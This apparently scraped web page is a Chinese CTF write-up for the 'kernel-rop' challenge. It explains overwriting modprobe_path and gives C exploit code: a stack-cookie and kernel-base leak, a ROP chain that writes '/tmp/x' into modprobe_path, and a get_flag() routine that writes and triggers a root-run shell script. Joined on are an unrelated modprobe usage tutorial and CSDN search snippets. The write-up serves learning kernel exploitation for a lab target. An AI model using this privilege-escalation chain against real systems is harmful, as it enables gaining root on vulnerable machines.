    _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);

    BUG();

    }

    _check_object_size(hackme_buf, _size, 1LL);

    v6 = copy_to_user(data, hackme_buf, _size) == 0;

    //...

    }

    以上就是我们介绍的CTF挑战题目和环境,非常简单也非常典型。接下来,我们进入到最重要的部分,解释漏洞利用技术。

    说明:在我之前的系列文章中,我演示了作者使用的一个漏洞利用方法,使用四个阶段的Payload来调用commit_creds(prepare_kernel_cred(0))。如果大家有兴趣,可以前往阅读。

    0x02 覆写modprobe_path技术

    首先,什么是modprobe?根据维基百科的说法,modprobe是最初由Rusty Russell编写的Linux程序,用于在Linux内核中添加可加载的内核模块。实际上,当我们在Linux内核中安装或卸载新模块时,就会执行这个程序。它的路径是一个内核全局变量,默认为/sbin/modprobe,我们可以通过运行以下命令来检查它:

    cat /proc/sys/kernel/modprobe

    -> /sbin/modprobe

    到目前为止,我们可能还会有疑问,为什么这个程序可以被用于内核漏洞利用?答案在于以下两个原因:

    首先,modprobe的路径(默认情况下为/sbin/modprobe)存储在内核本身的modprobe_path符号以及可写页面中。我们可以通过读取/proc/kallsyms来获取其地址(由于KASLR机制,因此这个地址各不相同):

    cat /proc/kallsyms | grep modprobe_path

    -> ffffffffa7a61820 D modprobe_path

    其次,当我们执行具有未知文件类型的文件时,将执行存储在modprobe_path路径的程序。更准确地说,如果我们针对系统未知文件签名(魔术头)的文件调用execve(),则会产生以下调用,最终调用到modprobe:

    (1)do_execve()

    (2)do_execveat_common()

    (3)bprm_execve()

    (4)exec_binprm()

    (5)search_binary_handler()

    (6)request_module()

    (7)call_modprobe()

    所有这些调用最终都将执行以下操作:

    static int call_modprobe(char *module_name, int wait)

    {

    ...

    argv[0] = modprobe_path;

    argv[1] = "-q";

    argv[2] = "--";

    argv[3] = module_name;

    argv[4] = NULL;

    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,

    NULL, free_modprobe_argv, NULL);

    ...

    }

    简而言之,当我们在系统上执行文件类型未知的文件时,系统将会执行当前路径存储在modprobe_path中的任何文件。因此,我们所研究的技术就是使用任意写入原语,将modprobe_path覆盖到我们自己编写的Shell脚本的路径中,然后执行具有未知文件签名的虚拟文件。其结果将导致在系统仍处于内核模式时执行Shell脚本,从而导致root特权的任意代码执行。

    要查看该技术的实际案例,我们可以为kernel-rop编写一个Payload。

    0x03 Payload

    3.1 收集小工具和地址

    该技术的前提条件如下:

    (1)知道modprobe_path的地址;

    (2)知道kpti_trampoline的地址,以便在覆写modprobe_path之后干净地返回到用户空间;

    (3)有任意写入原语。

    针对我们要挑战的这道题目,在栈缓冲区溢出的场景中,这三个前提条件实际上只能满足一个,也就是我们仅仅知道内核映像基址,其原因在于:

    (1)modprobe_path和kpti_trampoline都没有受到FG-KASLR的影响,因此它们的地址和内核映像基址之间的偏移量是恒定的。

    (2)对于任意写入,我们可以使用这三个小工具,它们位于内核开头的区域,不会受到FG-KASLR的影响:

    unsigned long pop_rax_ret = image_base + 0x4d11UL; // pop rax; ret;

    unsigned long pop_rbx_r12_rbp_ret = image_base + 0x3190UL; // pop rbx ; pop r12 ; pop rbp ; ret;

    unsigned long write_ptr_rbx_rax_pop2_ret = image_base + 0x306dUL; // mov qword ptr [rbx], rax; pop rbx; pop rbp; ret;

    我们泄漏内核映像基址,可以使用hackme_read()操作来计算这些地址:

    void leak(void){

    unsigned n = 40;

    unsigned long leak[n];

    ssize_t r = read(global_fd, leak, sizeof(leak));

    cookie = leak[16];

    image_base = leak[38] - 0xa157ULL;

    kpti_trampoline = image_base + 0x200f10UL + 22UL;

    pop_rax_ret = image_base + 0x4d11UL;

    pop_rbx_r12_rbp_ret = image_base + 0x3190UL;

    write_ptr_rbx_rax_pop2_ret = image_base + 0x306dUL;

    modprobe_path = image_base + 0x1061820UL;

    printf("[*] Leaked %zd bytes\n", r);

    printf(" --> Cookie: %lx\n", cookie);

    printf(" --> Image base: %lx\n", image_base);

    }

    3.2 覆写modprobe_path

    在泄漏后,现在的目标是将modprobe_path覆盖为我们可以控制的文件的路径。在大多数Linux系统中,我们可以以任意用户的身份自由地读写/tmp目录,因此我将使用上述三个小工具将modprobe_path覆盖到名为/tmp/x的文件中,然后在经过kpti_trampoline后,安全地返回到用户空间中的函数get_flag()。

    void overflow(void){

    unsigned n = 50;

    unsigned long payload[n];

    unsigned off = 16;

    payload[off++] = cookie;

    payload[off++] = 0x0; // rbx

    payload[off++] = 0x0; // r12

    payload[off++] = 0x0; // rbp

    payload[off++] = pop_rax_ret; // return address

    payload[off++] = 0x782f706d742f; // rax

    payload[off++] = pop_rbx_r12_rbp_ret;

    payload[off++] = modprobe_path; // rbx

    payload[off++] = 0x0; // dummy r12

    payload[off++] = 0x0; // dummy rbp

    payload[off++] = write_ptr_rbx_rax_pop2_ret; // modprobe_path

    payload[off++] = 0x0; // dummy rbx

    payload[off++] = 0x0; // dummy rbp

    payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22

    payload[off++] = 0x0; // dummy rax

    payload[off++] = 0x0; // dummy rdi

    payload[off++] = (unsigned long)get_flag;

    payload[off++] = user_cs;

    payload[off++] = user_rflags;

    payload[off++] = user_sp;

    payload[off++] = user_ss;

    puts("[*] Prepared payload to overwrite modprobe_path");

    ssize_t w = write(global_fd, payload, sizeof(payload));

    puts("[!] Should never be reached");

    }

    3.3 执行任意脚本

    既然modprobe_path指向/tmp/x,我们要做的就是编写其内容,该内容将以root特权执行。在这种情况下,我们只需要编写一个简单的Shell脚本,将该标志从/dev/sda复制到/tmp目录中,并使其对所有用户可读。脚本如下:

    #!/bin/sh

    cp /dev/sda /tmp/flag

    chmod 777 /tmp/flag

    之后,我编写了一个仅包含\xtf字节的虚拟文件,以使其成为系统的未知文件,然后执行它。在执行完成后,我们应该在/tmp中可以看到一个可以读取的flag文件:

    void get_flag(void){

    puts("[*] Returned to userland, setting up for fake modprobe");

    system("echo '#!/bin/sh\ncp /dev/sda /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");

    system("chmod +x /tmp/x");

    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");

    system("chmod +x /tmp/dummy");

    puts("[*] Run unknown file");

    system("/tmp/dummy");

    puts("[*] Hopefully flag is readable");

    system("cat /tmp/flag");

    exit(0);

    }

    如果一切顺利,应该就可以打印这个flag。

    0x04 总结

    至此,我想我们都理解了为什么PWN大神们如此喜爱这种技术。当我在充分理解后编写漏洞利用程序时,我感到非常惊讶,因为它不仅非常易于理解和使用,而且前提条件非常少,在这两点上都具有优势。因此,我立刻就完成了这篇文章,希望能对大家有所帮助。

    0x05 附录

    展开全文
  • Linux中的Modprobe命令

    2021-05-11 21:38:46
    要加载模块,请调用modprobe命令,后跟模块名称:modprobe module_name modprobe命令将加载指定的模块和任何其他模块依赖项。 在命令行上只能指定一个模块。 使用lsmod命令确认模块已加载:lsmod | grep module_...

    Linux内核是Linux操作系统的核心组件。 它管理系统的资源,并且是计算机硬件和软件之间的桥梁。

    Linux内核具有模块化设计。 内核模块(通常称为驱动程序)是一段扩展内核功能的代码。 模块要么编译为可加载模块,要么内置在内核中。 可加载模块可以根据需要在正在运行的内核中进行加载和卸载,而无需重新启动系统。

    通常,模块是由udev(设备管理器)按需加载的。 但是,有时您可能需要微调模块的加载方式。 例如,您可能需要使用其他参数加载模块,或者防止模块自动加载。

    您可以使用modprobe命令将模块手动加载到内核中,也可以在启动时使用/etc/modules或/etc/modules-load.d/*.conf文件自动将模块加载到内核中。

    在本文中,我们将说明如何使用modprobe从Linux内核中添加和删除模块。 modprobe是kmod的一部分,该二进制文件实现了用于管理Linux内核模块的多个程序。

    添加内核模块

    内核模块存储在/lib/modules/目录中。 您可以找到正在运行的内核的版本,使用uname -r命令。

    只有具有管理特权的用户才能管理内核模块。

    要加载模块,请调用modprobe命令,后跟模块名称:modprobe module_name

    modprobe命令将加载指定的模块和任何其他模块依赖项。 在命令行上只能指定一个模块。

    使用lsmod命令确认模块已加载:lsmod | grep module_name

    要使用其他参数加载模块,请使用parameter=value语法:modprobe module_name parameter=value

    该命令接受多个parameter=value对,以空格分隔。

    通常,您需要在系统引导期间加载模块。 您可以通过在/etc/modules-load.d目录内的文件中指定模块及其参数来实现。 文件必须以.conf结尾,并且可以具有任何名称:

    /etc/modules-load.d/module_name.confoption module_name parameter=value

    这些文件中指定的设置由udev读取,后者在系统启动时使用modprobe加载模块。

    卸载内核模块

    要删除模块,请使用-r选项调用modprobe命令,后跟模块名称:modprobe -r module_name

    modprobe还将删除未使用的模块依赖项。

    用-r调用时,该命令接受多个模块作为参数:modprobe -r module_name1 module_name2

    您还可以使用rmmod命令从Linux内核中卸载模块。

    如果要防止在启动时加载内核模块,请在/etc/modprobe.d中创建一个名称任意的.conf文件。 语法为:

    /etc/modprobe.d/blacklist.confblacklist module_name

    如果要将其他模块列入黑名单,请在新行中指定模块,或创建新的.conf文件。

    结论

    modprobe命令允许您添加和删除Linux内核模块。

    如有任何疑问,请随时发表评论。

    展开全文
  • 说明 modprobe(module probe) 功能说明:自动处理可载入模块。 语 法:modprobe [-acdlrtvV][--help][模块文件][符号名称 = 符号值] ...insmod 与 modprobe 都是载入 kernel module,不过一般差别于 modprobe
  • 但是在安装的过程中,最后有报错,错误就是modprobe vboxsf failed. 导致的结果,就是重启后,执行mount -tvboxsf 去映射共享文件夹时,就报错:/sbin/mount.vboxsf: mounting failed with the error: No such ...
  • modprobe命令功能:用于采用智能方式向内核中加载模块或从内核中移除模块modprobe命令的原理:modprobe命令将跳过整个引导装载程序,将直接进入新的内核中使用这种方式,将会很快的启动系统modprobe命令的语法格式:...
  • modprobe和insmod的区别

    2021-11-02 15:55:56
    modprobe和insmod 首先modprobe和insmod都可以实现加载模块,但是更加推荐使用modprobe而不是insmod。因为modprobe可以解决模块间依赖的问题,比如A模块使用了符号导出,导出的符号需要在B模块中使用,这就要求在...
  • # apt install kmod
  • Modprobe加载驱动问题

    2021-03-09 08:33:37
    linux设备驱动的动态加载可以使用insmod或modprobe两种方式,insmod一次只能加载一个特定的驱动,且需要驱动的绝对路径,而modprobe则可以一次性将有依赖关系的驱动全部加载到内核,不需要驱动的具体地址。...
  • 使用modprobe加载模块很方便,比如: #查看已经加载模块,发现我们测试的模块并没有加载 [root@k8s-node02 ~]# lsmod |grep -E "ip_tables|iptable_filter" #尝试手动加载 [root@k8s-node02 ~]# modprobe ip_...
  • 再次鄙视那些凭空臆测就发表技术文章和那些不分好坏疯狂采集的人。浪费大家的时间,你们罪当诛杀!添加开机自动加载模块,在各大搜索引擎发现很多... 使用命令modprobe ip_nat_ftp 执行过后 执行lsmod.html' target='...
  • 自动处理可载入模块命令 modprobe

    万次阅读 2018-07-01 00:14:56
    From:https://blog.csdn.net/good5101/article/details/39472291linux内核模块相关命令:lsmod,depmod,modprobe,modinfo,insmod,rmmod 使用说明https://www.cnblogs.com/jacklikedogs/p/4659249.htmlLinux下加载.ko...
  • 本文主要向大家介绍了Linux运维知识之Linux modprobe自动处理可载入模块命令详解,通过具体的内容向大家展现,希望对大家学习Linux运维知识有所帮助。modprobe(moduleprobe)功能说明:自动处理可载入模块。语 法:...
  • centos7.9 在部署k8s系统环境的时候modprobe br_netfilter报错 modules br_netfilter not found 
  • sudo modprobe mtdram total_size=65536 erase_size=256 sudo mtdpart add /dev/mtd0 kernel 0 10223616 sudo mtdpart add /dev/mtd0 kernel 10223616 10485760 sudo mtdpart add /dev/mtd0 root 10485760 5662
  • modprobe命令modprobe命令主要用于在Linux 2.6内核中加载和删除Linux内核模块。通过此命令用户可以轻松地加载和删除Linux内核模块,同时使用此命令加载Linux内核模块时,Linux内核会自动解决内核模块之间的依赖关系...
  • inux内核模块相关命令:lsmod,depmod,modprobe,modinfo,insmod,rmmod 使用说明 加载内核驱动的通常流程: 1.先将.ko文件拷贝到/lib/module/`uname -r`(内核版本号)/kernel/driver/...目录下, 根据具体用途的...
  • modprobe加载内核What makes an Operating system Linux Distribution? All Linux distributions use same kernel named Linux Kernel. Linux kernel provides operating system services, hardware management, ...
  • 他们的区别在于,modprobe会考虑要装载的模块是否引用了一些当前内核不存在的符号。 如果有这类引用,modprobe会在当前模块搜索路径中查找定义了这些符号的其他模块。 如果modprobe找到了这些模块(即要装载的模块...
  • modprobe ipmi_si报错问题

    千次阅读 2021-08-24 10:07:58
    modprobe ipmi_si报错问题ipmi驱动问题参考 ipmi驱动问题 本人使用centos7.6版本的操作系统,在加载ipmi_si驱动时,报错如下: 1、[root@localhost 9-ipmitool_v1.8.18]# modprobe ipmi_si modprobe: ERROR: could ...
  • Linux modprobe命令

    2020-02-04 08:52:52
    Linux modprobe命令用于自动处理可载入模块。 modprobe可载入指定的个别模块,或是载入一组相依的模块。modprobe会根据depmod所产生的相依关系,决定要载入哪些模块。若在载入过程中发生错误,在modprobe会卸载整组...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 58,507
精华内容 23,402
关键字:

modprobe

友情链接: NsdtfToGrid2.py.zip